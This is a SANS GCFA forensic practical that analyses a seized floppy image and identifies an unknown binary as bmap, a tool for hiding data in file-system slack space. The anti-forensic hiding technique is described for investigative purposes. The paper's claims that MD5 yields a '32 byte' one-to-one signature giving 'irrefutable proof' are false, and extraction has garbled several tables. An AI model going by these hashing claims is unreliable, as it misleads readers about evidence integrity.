

# **Global Information Assurance Certification Paper**

## Copyright SANS Institute Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

# Interested in learning more?

Check out the list of upcoming events offering "Advanced Incident Response, Threat Hunting, and Digital Forensics (Forensics at http://www.giac.org/registration/gcfa

# GIAC Certified Forensic Analyst Practical Assignment with Compromised Redhat Linux 7.2 Honeypot Analysis

# (GCFA Practical Version 1.4)

Jason B. Anderson, GCIA, GCIH

Feb 2<sup>nd</sup>, 2004

Jason\_B\_Anderson\_GCFA © SANS Institute 2004,

As part of GIAC practical repository.

Page 1 of 111 Author retains full rights.

## Abstract

This practical assignment is organized in 3 major sections. The first section will document an in-depth forensic analysis of seized evidence, including an analysis of an unknown binary. The second section will document the application of well-known computer forensic methods to the investigation and analysis of a remotely compromised Redhat Linux 7.2 Honeypot using network based file recovery. The final section of this document will discuss legal issues related to the incident handling.

### **Table of Contents**

Typographical Conventions Used for Part 1 & 2	4
Part 1 – Analyze an Unknown Binary	5
Abstract	5
Background Information	5
Preparation of Lab Environment	5
Binary Details	8
Analysis on the binary_v1_4.zip zip archive file	8
Extraction of the binary_v1_4.zip zip archive	9
Verification of file integrity for fl-160703-jp1.dd.gz	. 10
Decompression of the fl-160703-jp1.dd.gz file	. 10
Analysis of the fl-160703-jp1.dd Linux Ext2 File-system	. 11
Mounting and Verification of the fl-160703-jp1.dd File-system for further analysis	: 11
Analysis of the floppy image root directory	. 12
Verification of prog File Integrity.	. 13
Analysis of the progressed and file attributes	.14
What is the True Name of the prog Executable?	.14
Binary Details Summary	18
Program Description	.19
What Type of Program is the 'prog' executable?	19
What is prodused for?	21
When was the last time it was used?	21
Step by step functionality analysis: Using the prog program to manipulate slack	. 2 1
	22
Space	. 22
	; ````
Eoronaia Dataila	. 20
Forensic feetprints left by prog	. 30
Other files used by prog.	. 30
Affects on filesystem by execution of prog	. 39
Affects on filesystem by execution of prog	.40
prog's interaction with system files	. 40
Further information in prog that could be extracted for information	.40
Program Identification	. 40
Locating bmap from the Internet	. 40
Compiling bmap	. 41
Differences between bmap and prog	. 43
MD5 Hash Comparison	. 44

Full Description of research process determining that prog=bmap	45
Legal Implications	45
Proving that the prog binary was executed	45
Laws violated by bmap	47
Penalties for using bmap	47
Violation to corporate policy	48
Interview Questions	48
Questions for person John Price to prove he owned/ran file	48
Case Information	50
Details for Floppy analysis, evidence found?	50
What evidence (if any) suggests JP was using corporate resources to distribute	
copyrighted material?	56
Advice for System Administrators for detecting bmap usage	58
Additional Information	59
Appendix A: Full zip archive information from zipinfo -v command	59
Appendix B. Verification of restricted file-system mount options	61
References	63
Part 2 – Option 1: Perform Forensic Analysis on a system: Investigation of a	
Compromised RedHat 7.2 Virtual Honeypot	64
Synopsis of Case Facts	64
Describe the system to be analyzed	64
Hardware Description	65
Honeypot VMware Host Description	65
Honeypot VMware Guest System Description	65
Image Media	66
Image Capture and Transfer	66
Image Transfer Integrity Verification	67
Media Analysis	68
Analysis Environment Configuration	68
File-System Analysis	70
Timeline Analysis	85
Recovery of Deleted Files	95
String Search Results	99
Conclusions	02
References 1	03
Part 3 - Legal Issues of Incident Handling1	04
Laws broken by the Distribution of copyrighted materials in the United States 1	04
Definitions and Scope1	04
Rights of Copyright Owners and Definitions of Violation 1	04
Limitations on the Rights of Copyright Owners1	05
Liability Limitations for Service Providers1	05
Incident Response Strategies in Copyright Violation Scenarios within the United	
States 1	06
Preparation1	06
Identification1	06
Containment1	07
Eradication1	07

Lessons Learned Evidence Preservation Strategies for Possible Future Action within the United	107 1 States
Media & Content Integrity Considerations	108
Chain of Custody Considerations	108
Best Evidence Considerations	108
Incident Response Requirements for cases Involving the Sexual Exploitation	of
Minors	108
Preparation Considerations	108
Identification Considerations	109
Containment Considerations	110
Legal References	110

## Typographical Conventions Used for Part 1 & 2.

A number of typographical conventions will be used to maximize document clarity and readability:

## Section Headers will be in Bold Italic Arial 16 Point.

### Subsection Headers will be Bold Italic Arial 13 Point.

Standard Text such as this will be presented in Arial 12 point.

Courier New 8 point, such as this, will be used to identify text associated with computer keyboard input and computer monitor output. Computer interface (shell text) input/output will be presented in a text box such as this:

[forensics@GCFA root]# echo `text and commands	Author commentary regarding computer
typed by the forensic analyst will be presented in	output will displayed in blue
red Courier New 10 point'	Courier New 10 point.
Computer response will be identified in black	
Courier New 8 point	
[forensics@GCFA root]#	
	•

Computer commands, hereby referred to as shell commands, will all be denoted in as red Arial 12 point standard text. This is necessary because some computer commands, such as strings, and cat, and file could otherwise be interpreted in the wrong context.

The asterisk symbol:<sup>\*</sup> will be used to attract the reader's attention to a footnote at the bottom of the page. Footnotes will be used to elaborate on peripheral details mentioned in the body of the document

References will be identified by superscripts, such as this<sup>123</sup>

<sup>&</sup>lt;sup>\*</sup> Inspiration for this typographical methodology is owed to Greg Owen's SANS GCFA Practical

# Part 1 – Analyze an Unknown Binary

## Abstract

By utilizing forensic analysis techniques we will analyze an unknown binary with the intent of understanding its purpose and role related to alleged illegal activities. Throughout the course of this analysis, an effort will be made to describe the motivations and methodologies associated with the computer forensic analysis techniques employed to investigate the binary.

## **Background Information**

During the course of a corporate audit it was discovered that an employee may have been misusing the organizations computer resources to illegally distribute copyrighted material. During investigation, a 3.5 inch TDK floppy disk was seized and identified as evidence. This evidence was documented for chain of custody purposes as tag # fl-160703-jp1.

In an effort to ensure the integrity of the data on #fl-160703-jp1 for future purposes, corporate investigators utilized a commonly accepted cryptographic fingerprinting program known as md5sum to calculate a unique 32 byte mathematic signature based upon the data on the disk as it existed immediately after seizure. Due to the mathematically exact nature of the algorithms employed by the md5sum program, even the smallest modification to the data on the disk in the future would cause a corresponding md5sum signature to be completely different. Based upon the mathematical one-to-one relationship established between the 32 byte signature and the disk data itself, future identical md5sum generated signatures offer irrefutable proof of disk data integrity since the time of the original md5sum fingerprint

## Preparation of Lab Environment

Preparation of the lab analysis environment is driven by the following goals

- Network disconnection quarantine of analysis system to prevent threat of unintended malicious code propagation and infection of other systems.
- Assurance of compliance with state and federal laws regarding software licensing requirements
- Integrity of analysis software tools and platform to ensure that all data analysis is performed with known and trusted tools.

 Leverage all available means to ensure that the forensic analyst can exert all necessary control over the execution and potential propagation of unknown/malicious code<sup>9</sup>.

To meet the aforementioned criteria, a lab analysis environment was configured via the following methods:

- An isolated (non-networked) laptop computer system was identified as the platform for analysis, the hard-drive on this system was thoroughly cleaned (wiped) by re-writing all available data locations with 0's. By removing all residual information off of the analysis system hard-drive, we could ensure that any modifications made to the analysis system by suspect malicious programs could unambiguously be attributed to the malicious program.
- Operating System install media images were downloaded from a vendor website along with the md5sum signature of that image as it existed at the time of publication to customers. Once downloaded, an md5sum fingerprint was again calculated and compared to the vendor published signature. Both signatures were verified to be equivalent, thus assuring us that no modifications to the install media had taken place since the time of vendor publication.
- The operating system install media was used to install the operating system on the laptop analysis system. Prior to installation it was assured that the laptop had no network configurations or physical network connections. However, because it is known that analysis of some malicious programs requires network connection, the analysis system will be configured from install in such a way that facilitates connection to a stand-alone network hub, which can be used to network the laptop with any other analysis systems for network based forensic analysis. An alternative solution to usage of other physical hardware would be to employ multiple virtual operating systems through the use of software such as VMware, used to emulate multiple operating systems on a single computer simultaneously.
- Following hardware install, forensic tools were downloaded from the vendor on an alternate system and burned to CD media, along with the md5sum fingerprints of those tools as they existed at the time of publication on the vendor website. Once downloaded, an md5sum signature was recalculated from the downloaded image and compared against the original vendor signature. Both signatures were found to be identical, assuring us that the integrity of the forensic analysis software was intact since publication from the vendor.
- All relevant software licensing requirements were reviewed and verified to be in compliance with local and federal laws.

The operating system that we will use for the investigation will be Redhat Linux 9.0. The additional forensic software installed was Sleuth Kit 1.67. Our selection of Linux as an operating system is based upon the availability of command line shell environment tools. The LINUX operating system is developed around being able to string smaller and more simplistic programs into more complex and elaborate functions through the shell pipe interface. Each Unix program is required to have at least 3 channels, or file descriptors. One is for incoming data (aka STDIN), One is for outgoing data (aka STDOUT), and the last for error output (aka STDERR). By using these features, we can plumb output from simple tools to other simple tools. The thing that links one channel to another is symbolized in UNIX shell as the pipe: "|" character. An example is shown below, where we e-mail a message to ourselves from the command line. The root@localhost e-mail account exists internally on every Linux system.

<pre>forensics@GCFA root]# echo "Greetings from the UNIX</pre>	We tell the computer to mail a
Commandline"   mail _s "Test Message" root@localbost	greeting to the root@localhost
commandiine   maii 3 iest Message iooteiotainost	local e-mail account

Upon configuration of the laptops operating system with Linux RedHat 9.0, we will configure a contained environment for binary analyis. This is accomplished by employing the following series of commands to create a controlled file-system as a container in which we will examine the malicious program.

[forensics@GCFA tmp]# dd if=/dev/zero	We tell the computer to build a 25
of=./restricted file system bs=1M count=25	Mb file and fill it with zero's.
25+0 records in	It responds that the file has been
25+0 records out	successfully made
[forensics@GCFA_tmp]# losetup /dev/loop0	The losetup command manages loop
/restricted file system	devices which can be used to act
drwyr-yr-y 3 root root 1024 Nov 28	as a way for the computer to
17.13	recognize normal files as hard
drummurut ( root root (006 Nou 20	dicks Here we use the locature
17.17	aisks . Here, we use the losetup
1/:1/	deimand to attach the ist loopback
17 12 June 14 Constant	ariver to our restricted filesystem
1/:13 lost+found	
[forensics@GCFA tmp]#	
[forensics@GCFA tmp]# mkfs.ext3 -c -L "Restricted	The mkfs.ext3 command allows for us
FS" /dev/loop0	to configure our loopback hard disk
mke2fs 1.32 (09-Nov-2002)	device with the EXT3FS Linux file-
Filesystem label=Restricted FS	system, which is native to Redhat
OS type: Linux	Linux 9.0.
Block size=1024 (log=0)	
Fragment size=1024 (log=0)	
6400 inodes, 25600 blocks	
1280 blocks (5.00%) reserved for the super user	
First data block=1	
4 block groups	
8192 blocks per group, 8192 fragments per group	
1600 inodes per group	
Superblock backups stored on blocks:	
8193. 24577	
01007 21077	
Checking for had blocks (read-only test) done	
Writing inde tables: done	
Creating journal (1024 blocks), done	
Writing superblacks and filesuster accounting	
information, dona	
mbie filesustem will be sutemptically about the set	
22 mounts of automatically checked every	
55 MOUNTES OF	
180 days, whichever comes first. Use tune2fs -c or	
-1 to override.	
[forensics@GCFA tmp]#mkdir analysis_directory	Here we use the Linux mkdir command
	to create a new directory for us to
	use as a mount point (i.e. starting
	point) for our restricted file-
	system

As part of GIAC practical repository.

[ [forensics@CCEA_tmp]# mount =0 loop postime poeyed	Here we use the Linux mount command
[ [IOTENSICS@GEFA Chip]# mounte = 0 100p, noactine, noace	nere we use the billux mount command
<pre>./restricted_file_system ./analysis_directory</pre>	to mount our loopback restricted
	file system, specifying also that
	we wish to not update access times
	on files contained within this
	filesystem, nor execute files
	within our restricted file-system.
	Here we verify that our mount
[forensics@GCFA tmp] <b># mount   grep</b>	attempt executed successfully by
restricted file system	using the mount command with no
/var/tmp/restricted file system on	arguments to look at our restricted
/var/tmp/analysis_directory type ext3	file system mount status.
(rw,noexec,noatime,loop=/dev/loop1)	
[forensics@GCFA tmp]#	

## **Binary Details**

To initiate our investigation, we copy the compressed executable to our restricted filesystem.

### Analysis on the binary\_v1\_4.zip zip archive file

Our first test is to ensure that the file given to us is considered by our analysis system to be a ZIP archive file. Even though the suffix on the file is '.zip,' we will verify by using the Linux file command to interpret the content of the file to ensure that it substantiates the assumption that the file is really a ZIP archive:

```
[forensics@GCFA analysis_directory]# file
binary_v1_4.zip
binary_v1_4.zip: Zip archive data, at least v2.0 to
extract
Here we see that the unix file
command interprets the file as a
zip binary needing at least zip
version v2.0 to extract.
```

We can ensure that our zip version is valid by calling it with the '-v' argument:



We next use the stat command to see the modification, access and change times associated with the zip file:

[forensics@GCFA analysis_directory] <b>#</b>		The stat command is used to get
binary v1 4.zip		the file-system related meta-
File: `binary v1 4.zip'		data <sup>†</sup> .
Size: 459502 Blocks: 904 IO B	lock:	
4096 Regular File		
Device: 701h/1793d Inode: 14 Link	s: 1	
Access: (0744/-rwxrr) Uid: ( 0/ root	) Gid:	
( 0/ root)		
Access: 2003-11-28 18:34:21.000000000 -0700		
Modify: 2003-11-28 18:34:21.000000000 -0700		
Change: 2003-11-28 18:34:21.000000000 -0700		

We see from the stat command that the Modification, Access and Change times of the evidence file were all set when the file was copied to our restricted file-system.

We would like to know the last access times of the files at the time of their compression with the zip program, to do this we will run unzip –v to get the access times associated with the archived files when they were archived:

[forensic	s@GCFA ar	nalysis_c	directo	pry]# unz:	ip -v b	inary_v1_4	.zip	Here we use
Archive:	binary v	1 4.zip						the unzip
GCFA bina	ry analys	sis						command to
Length	Method	Size	Ratio	Date	Time	CRC-32	Name	list the
								attributes of
474162	Defl:N	458937	3%	07-15-03	22:03	037deebe	fl-160703-	the zip file.
jp1.dd.gz								-
54	Stored	54	0%	07-15-03	23:14	75457d32	fl-160703-	
jp1.dd.gz	.md5							
39	Stored	39	0%	07-15-03	23:14	804cc662	prog.md5	
474255		459030	3%				3 files	

It appears that the contents of the zip file were last accessed on July 15<sup>th</sup>, 2003. md5sum signuatures were taken shortly thereafter and included for future data integrity verification.

## Extraction of the binary\_v1\_4.zip zip archive

The next step in the analysis is to unzip the binary file and verify that its contents and meta-data are consistent with that listed in the zip archive analysis section above.

[forensics@GCFA analysis_directory]# unzip -X binary_v1_4.zip	Here we utilized
Archive: binary_v1_4.zip	the unzip command
GCFA binary analysis	to extract and
inflating: fl-160703-jpl.dd.gz	inflate the
extracting: fl-160703-jp1.dd.gz.md5	contents of the
extracting: prog.md5	binary_v1_4.zip
	archive.
[forensics@GCFA analysis directory] <b># ls -la</b>	Here we use the
total 938	ls command to
drwxr-xr-x 3 root root 1024 Nov 28 20:38.	enumerate the

<sup>†</sup> File-system meta data is the term used to describe the data about the files, i.e. their access, modification, and change times, their permissions, owners, group ownership, etc.

·····				
drwxrwxrwt	4 root	root	4096 Nov 28 17:17	last access times
-rwxrr	1 root	root	459502 Nov 28 18:34	of each of the
binary_v1_4.	zip			files. The -la
-r	1 root	root	474162 Jul 15 22:03 fl-160703-	options specify
jp1.dd.gz				to list verbose
-rw-rr	1 root	root	54 Jul 15 23:14 fl-160703-	information about
jp1.dd.gz.mc	15			each file, and to
drwx	2 root	root	12288 Nov 28 17:13 lost+found	include files
-rw-rr	1 root	root	39 Jul 15 23:14 prog.md5	beginning with a
				<pre>`.', typically</pre>
				known as hidden
				files in unix.

We see that the fl-160703-jp1.dd.gz file was last accessed on July 15<sup>th</sup> 2003, at 10:03 PM. The md5sum signature was copied later at 11:14 PM on the same day. The lost+found directory was created automatically at time of restricted file-system creation; this time is listed in the last access time of Nov 28<sup>th</sup> at 5:13 PM.

### Verification of file integrity for fl-160703-jp1.dd.gz

Next we wish to confirm the integrity of the data file fl-160703-jp1.dd.gz file by comparing the current md5sum signature with the one captured prior to compression with the zip program. This information is conveyed in the form of a screenshot to eliminate concerns regarding the validity of the copied data. By communicating the data in this way, we help to eliminate doubt regarding authenticity of md5sum signature authenticity for juries.

🛃 root@GCFA:.	/var/tmp/anal	ysis_director	у			
[root@GCFA a	nalysis_di	ectory]# .	ls –1			
total 933						
-rwxrr	1 root	root	459502 N	ov 28	18:34	binary_v1_4.zip
-r	1 root	root	474162 J	ul 15	22:03	fl-160703-jp1.dd.gz
-rw-rr	1 root	root	54 J	ul 15	23:14	fl-160703-jp1.dd.gz.md5
drwx	2 root	root	12288 N	ov 28	17:13	lost+found
-rw-rr	1 root	root	39 J	ul 15	23:14	prog.md5
[root@GCFA a	nalysis_di	ectory]# (	at fl-16070:	3-jp1	.dd.gz	.md5
4b680767a2ae	d974cec5fb	bf84cc97a	fl-160703-	jp1.d	d.gz	
[root@GCFA a	nalysis_di	ectory]# 1	nd5sum fl-16	0703-	jp1.dd	.gz
4b680767a2ae	d974cec5fb	bf84cc97a	fl-160703-	jp1.d	d.gz	
[root@GCFA a	nalysis din	ectory]#				

It can be seen in the screenshot that the md5sum signatures of the fl-160703-jp1.dd.gz files have not changed since the time the files were originally archived. We can now proceed with our analysis confident that we are analyzing the same image as was collected by the investigators.

### Decompression of the fl-160703-jp1.dd.gz file

We next wish to look at the fl-160703.jp1.dd.gz file. Based upon the suffix of the file (.gz), we suspect that the file is compressed with Lempel-Ziv encoding; we can confirm this with use of the file command.

[root@celeron analysis directory]# file fl-160703-jp1.dd.gz	The file command
fl-160703-jpl.dd.gz: gzip compressed data, was "fl-160703-	confirms that the the
jpl.dd", from Unix	file is a gzip
	compressed file.

We know that gzip compression does not modify the ownership, access or modification times associated with the file before compression or after decompression(see gzip(1) Linux man page). So we can safely by decompressing the file with the gunzip command.



## Analysis of the fl-160703-jp1.dd Linux Ext2 File-system

Once we have de-compressed the evidence file, we again use the file command to classify the resulting file.

[forensics@GCFA analysis directory]# file fl-160703-jp1.dd	The file command
fl-160703-jpl.dd: Linux rev 1.0 ext2 filesystem data	recognizes the file as
	a Linux ext2fs file-
	system

As anticipated, the file is recognized as a Linux Ext2 file-system. It is probably safe to assume from this information that the floppy disk seized by Investigators was copied bitwise via the dd command to an image for compression. This will allow us to easily mount the file-system via loopback with the following commands. Another benefit of bitwise copying is that it will preserve all data on the disk, including deleted and undeleted files.

# Mounting and Verification of the fl-160703-jp1.dd File-system for further analysis

We will mount the fl-160703-jp1.dd file-system in the same way as was done with the original container file-system. We will also mount the image in a way that will restrict our ability to contaminate the access times and to restrict our ability to unintentionally execute any malicious programs. In addition to the mounting options utilized before, we will also mount the image read only to ensure that we don't accidentally contaminate the evidence.

<pre>[forensics@GCFA analysis_directory]# mkdir ./floppy_image</pre>									Here we use the mkdir
									command to make a
		directory upon which we							
									will mount the file-
									system image
	[forensics@GCFA	analysis	_directory]	mount	-0				Here we invoke the
	ro,loop,noexec,	noatime f	= <mark>1</mark> -160703-jp:	L.dd ./:	flopp	by_i	Image		mount command,
									specifying that we want
									to mount the file read-
									only, via loopback,
									with no execution
									privileges and no
									access time
1									modification privileges
									on to the floppy_image
									directory.
1									
	[forensics@GCFA	floppy_i	lmage]# <mark>cd f</mark> l	loppy_in	nage;	15	s -al		We change to the
	total 557								directory and use the
	drwxr-xr-x 6	root	root	1024	Jul	15	23:03	•	Is command to list the
	drwxr-xr-x 4	root	root	1024	Nov	28	21:45	•• •	files on the mounted
	-rw-rr 1	root	root	2592	Jul	14	0/:13		file-system. The -al
	.~5456g.tmp	FOO	FOO	1004	T., 1	1 /	07.00	Desta	argument specifies to
	drwxr-xr-x 2	502	502	1024	Jul	14	07:22	Docs	list the contents of
	arwxr-xr-x 2	502	502	1024	r'en Tu l	3	2003	Jonn	the alrectory in long
	arwx 2	root	root	12288	JUL	14	07:08		format, and to list any
	lost+round	FOO	FOO	1004	M	2	2002	Marro 2	files starting with t
	arwxr-xr-x 2	3U∠ 502	502 502	1024	May	3 1 /	2003	Mayu3	files starting with a
-	-IWXI-XI-X I	JUZ	JUZ	20920	JUL	14	07:12	110-1.10-	EAFCA two
1	10.1300.rpmrp	502	502	107176	т., 1	1.4	07.24	nrog	.~J4J0g.Emp.
	-IMXI-XL-X I	JUZ	JUZ	40/4/0	JUL	14	07:24	broð	
1									

At this point we have safely and successfully mounted the file-system image as it would have existed on the original floppy. Upon listing the details of the directory with the ls command, we see the contents of the directory. We can also see permissions, file owner, file group membership, and size (in bytes), and last access time via the ls command invocation for each of the files on the floppy image.

### Analysis of the floppy image root directory

We can now enter the directory and use the file command to examine the data content of the files:

[forensics@GCFA analysis	_directory]# cd floppy_image/	We move into the floppy_image directory
[forensics@GCFA floppy_i	mage]# file *	We use the file command
Docs:	directory	to analyze all of the
John:	directory	files in the
lost+found:	directory	directory In Unix
May03:	directory	<pre>shell, the asterisk(*)</pre>
nc-1.10-16.i386.rpmrpm	: RPM v3 bin i386 nc-1.10-16	is interpreted as a
prog:	ELF 32-bit LSB executable, Intel	wildcard, which means
80386, version 1 (SYSV),	for GNU/Linux 2.2.5, statically linked,	that it returns all
stripped		non-hidden files in a
[forensics@GCFA floppy_i:	mage]#	directory.

[forensics@GCFA floppy_image]# file .~5456g.tmp .~5456g.tmp: data	LINUX interprets the * wildcard as all files not starting with a dot `.' (often called 'hidden' files), hence, we must explicitly run the file command against the previously detected hidden files.
<pre>[forensics@GCFA floppy_image]# findname \.\*/.~5456g.tmp</pre>	Having found one hidden file, we will recursively search our file-system for other hidden files. .~5465g.tmp is the only hidden file associated with the floppy.

By performing a file command on each of the files in the floppy image directory, we are able to determine the file types from the contents of each file. Docs, John, May03, and lost+found are all directories. The . ~5456g.tmp file was not recognized by the file command, which simply interpreted the file as generic data. The nc-1.10-16.i386.rpm..rpm file was found to be a binary .rpm file<sup>‡</sup>. Binary RPM files are often used to encapsulate files intended to facilitate a Linux RedHat software installation. In this case, it appears that the file was archived with an RPM version 3. The prog file appears to be a 32-bit Linux formatted executable compiled for execution on Intel 80386 architecture. This file appears to have been statically linked, meaning that it has all necessary file libraries linked into the executable itself. While making the file significantly larger, this would have eliminated library availability issues for the alleged violator when moving between computers with the floppy disk. The file command also shows us that the file has been stripped, indicating that human readable symbols have been stripped out. This is commonly done by malicious users to confound forensic investigation efforts.

### Verification of prog File Integrity

Next, we wish to verify that the integrity of the prog file has been maintained since the evidence signature. We can accomplish this by verifying that that the contents of the prog file are identical to the contents when seized by the Investigators. We again use the md5sum command to create a signature of the current prog file for comparison to the prod.md5 snapshot:

<sup>&</sup>lt;sup>‡</sup> .rpm stands for Redhat Package Manager. This is a format for managing software packages on the Linux operating system

🛃 root@GCFA	:/var/	/tmp/ana	lysis_director	y/floppy_ima	ge			
[root@GCFA total 552	flop	py_imag	re]# 1s -1					
drwxr-xr-x	2	502	502	1024	Jul	14	07:22	Docs
drwxr-xr-x	2	502	502	1024	Feb	з	2003	John
drwx	2	root	root	12288	Jul	14	07:08	lost+found
drwxr-xr-x	2	502	502	1024	May	З	2003	May03
-rwxr-xr-x	1	502	502	56950	Jul	14	07:12	nc-1.10-16.i386.rpm.
.rpm								
-rwxr-xr-x	1	502	502	487476	Jul	14	07:24	prog
[root@GCFA	flop	py imag	e]# md5sum	./prog				
7b80d9aff48	6c6a	a6aa3ef	a63cc56880	./prog				
[root@GCFA	flop	py imag	e]# cat,	/prog.md5				
7b80d9aff48	6c6a	a6aa3ef	a63cc56880	prog				
[root@GCFA	flop	py imag	re]#					

We see from the screenshot that the md5sum signatures of the file as it existed after seizure and the signature as it presently exists are identical. We have verified that the file integrity has been maintained.

### Analysis of the prog executable file attributes

The meta-data of the prog executable can be attained by invoking the stat command.

[root@celeron floppy_image]# stat prog	Here we invoke the stat
File: `prog'	command on the prog
Size: 487476 Blocks: 960 IO Block: 4096	executable.
Regular File	
Device: 702h/1794d Inode: 18 Links: 1	
Access: (0755/-rwxr-xr-x) Uid: ( 502/ UNKNOWN) Gid: ( 502/	
UNKNOWN)	
Access: 2003-07-15 23:12:45.000000000 -0700	
Modify: 2003-07-14 07:24:00.00000000 -0700	
Change: 2003-07-15 23:05:33.00000000 -0700	

Here we can see that the prog executable was owned by user id 502, and was associated with the group id 502. Because Linux only associates real names through the /etc/passwd and /etc/group files, we cannot know what user and group names were associated with GID/UID 502 on the machine where the binary was compiled. By default, the Redhat operating system begins the UID's/GID's at 500, so 502 probably represented the third account created on an original Redhat system. The file size is 487476 bytes. The majority of this file size is likely due to the statically linked libraries.

### What is the True Name of the prog Executable?

Next, we will determine the true name of the executable. By the generic nature of the name itself, we can infer that this executable was probably intentionally renamed to obscure the purpose of the program from system administrators or other system users.

We have two promising sources of information from which we can search for clues regarding the real name of the prog executable. The first source is file meta-data, the second is the file data itself. The stat command was previously used to identify the owner and group of the prog file, along with the size, block count, inode, links, and creation, modification, and access times associated with the file. None of this information presents us with any insight regarding the purpose and original name of the file. We must examine the prog binary file itself for clues regarding its purpose and original program name. One reliable method for gathering such information is to list all printable character sequences within the binary. This can be accomplished with the strings command. By default, strings lists all printable character sequences that have at least 4 consecutive printable characters, but by using the '-n #' option, we can change this minimum number of characters arbitrarily. Our strategy will consist of using the strings command to identify interesting sequences of words that might help us to create search queries for Internet search engines; of these, we will elect to use www.google.com, which is widely known as one of the most comprehensive internet search engines currently available ...

To get an idea of how many printable character sequences exist that could provide clues regarding the program origination, we can count the number of searchable sequences with the wc command, which when invoked with the '-l' argument, is capable of counting the number of returned sequences.

```
[forensics@GCFA floppy image]# strings -n 4 prog| wc -1
                                                                    We start out by
   4760
                                                                  counting the number of
[forensics@GCFA floppy image]# strings -n 8 prog| wc -1
                                                                   4 character printable
                                                                  sequences, and increment up to 64
  3896
[forensics@GCFA floppy image]# strings -n 16 prog| wc -1
                                                                   character printable
   373
[forensics@GCFA floppy image] # strings -n 24 prog| wc -1
                                                                  sequences.
   223
[forensics@GCFA floppy image]# strings -n 32 prog| wc -1
    94
[forensics@GCFA floppy image]# strings -n 48 prog| wc -1
    18
```

By performing the above queries, we have hoped to identify a minimum printable character sequence count that provides us with sufficiently detailed data for our internet search, yet doesn't obscure the output with more simple, non-helpful strings. We begin by viewing all of the 48 printable character sequences; our goal will be to identify a pattern to use in Google.

[forensics@GCFA floppy_image]# strings -n 48 prog	As expected, invoking
000000000000000000000000000000000000000	the strings command
%s: %s	with a minimum
%s	printable character
	sequence number of 48
Any of the valid values for \fB%s\fR can be supplied directly as	yielded 18 results.
options. For instance, $fB$ s/fR can be used in place of $fB$	
%s=%s\fR.	

© SANS Institute 2004,

As part of GIAC practical repository.

test for fragmentation (returns 0 if file is fragmented)	
use block-list knowledge to perform special operations on files	
Invalid or incomplete multibyte or wide character	
ELF load command address/offset not properly aligned	
dynamic: 0x%0*lx base: 0x%0*lx size: 0x%0*Zx	
ELF file version ident does not match current one	
C/o Keld Simonsen, Skt. Jorgens Alle 8, DK-1615 Kobenhavn V	
!"#\$%&'()*+,-	
./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^`àbcdefghijklmno	
pqrstuvwxyz{ }~	
<pre>%s: file is no correct profile data file for `%s'</pre>	
%s: Symbol `%s' has different size in shared object, consider re-	
linking	
%s: profiler out of memory shadowing PLTREL of %s	
cannot load auxiliary `%s' because of empty dynamic string token	
substitution	
checking for version `%s' in file %s required by file %s	

The printable character sequences above are searched for lines that look like they could be used as internet search engine queries, the string "**use block-list knowledge to perform special operations on files**" appears to be part of a possible usage explanation; something that might be returned by invoking the '--help' option on the program. The uniqueness of this string can be used to our advantage. As seen below, the aforementioned string was identified only twice by Google:



Following one of the links returned by <u>www.google.com</u> above yielded the following find (note the highlighted description in the following screenshot):

🕙 LWN - Announcements - A	Microsoft Internet Exp	lorer						
<u>File E</u> dit <u>V</u> iew F <u>a</u> vorites	<u>T</u> ools <u>H</u> elp			A.				
Address 🕘 http://old.lwn.net/2000/0413/announce.php3								
Google - special operations o	on files" 💟 🛛 📸 Search We	b 🔹 🐔	PageRank 🗗 154 blocked 📳 AutoFill 📴 🔩 Options ,	🔌 🛛 👸 use block-list knowledge to p				
	<u>Binary Grabber</u>	1.3.5	Automated tool for downloading binaries from UseNet newsgroups.					
	<u>BlackBook</u>	2	GTK+ Address Book Applet					
	<u>Blur Scope MAX</u>	1.3	A visualization plug-in for XMMS.					
	bmap	1.0.16	Use block-list knowledge to perform special operations on files.					
	<u>Bug Squish</u>	0.0.1	Squish bugs before they suck all the blood out of your arm.					
	<u>BW whois</u>	2.5	A whois in perl that works with the newly mangled whois system as of 1 Dec 1999.					
	Cannon Smash	0.3.4	3D tabletennis game					
	<u>Castor</u>	0.8.1	Java to XML binding, Java Data Objects (O/R) and DSML.					
	<u>CGIProxy</u>	1.3	Anonymizing, filter-bypassing HTTP proxy in a CGI script (in Perl)					
	<u>Circus Linux!</u>	0.0.3	A clone of the Atari 2600 game.					
	<u>CMatrix</u>	1.1b	Ncurses eye-candy demo like					
	<u>CodeCommander</u>	0.4.0	Multi language programming IDE.					
	cog	0.07	A themeable and modularized homepage for an intranet.					
	ColdSync	115	PalmPilot synchronization tool					
<b>e</b>			4	🔁  💙 Internet				

Here we see that a program called *bmap* was released to the Linux community in April of 2000, with the capability of using block-list knowledge to perform special operations on files. This is a sufficient amount of information to compel us to suspect that 'prog' is possibly bmap.

Based on having identified the possible true file name of prog as bmap version 1.0.20, we can now research the bmap 1.0.20 program via <u>www.google.com</u>. A description of bmap was found at <u>http://build.lnx-bbc.org/packages/fs/bmap.html</u> as seen below:

🕘 bmap - Microsoft Internet Explorer 📃 🗆 🗙
Elle Edit View Favorites Iools Help
i Address 🕘 http://build.lnx-bbc.org/packages/fs/bmap.html
🗄 Google 🗸 special operations on files" 💟 🔅 Search Web 🔹 🚿 🛛 PageBank 🗗 154 blocked 📳 AutoFill 🖸 🛛 🐼 Options 🔗 👸 use block-list knowledge to p
bmap bmap forensic tool
The blocksize of a typical file system varies from 1K to 4K. Every file takes at least one block. The unused space in that block is slack space. bmap can save data into this slack space, extract data from slack space, and delete data in slack space. The data cannot be accessed using tools unaware of slack space (ie. almost all other tools), does not change existing files, and therefore cannot be detected using checksums or access times.
• fs
Version
1.0.20
Maintainer
Unclaimed Package

The description of the bmap tool substantiates the documentation produced by the prog executable. Re-iterating the passage above:

'The blocksize of a typical file system varies from 1K to 4K. Every file takes at least one block. The unused space in that block is slack space. bmap can save data into this slack space, extract data from slack space, and delete data in slack space. The data cannot be accessed using tools unaware of slack space (ie. almost all other tools), does not change existing files, and therefore cannot be detected using checksums or access times.<sup>1</sup>

Bmap is a data hiding tool to hide information in the unused space in file-system blocks, commonly referred to as 'slack space.'

We now have reason to investigate the contents of the slack space on the floppy and any other systems possibly accessed by the alleged perpetrator.

### **Binary Details Summary**

The Binary Details associated with the prog executable can be summarized as follows:

True name of the program: bmap 1.0.20 File/MACTime information:

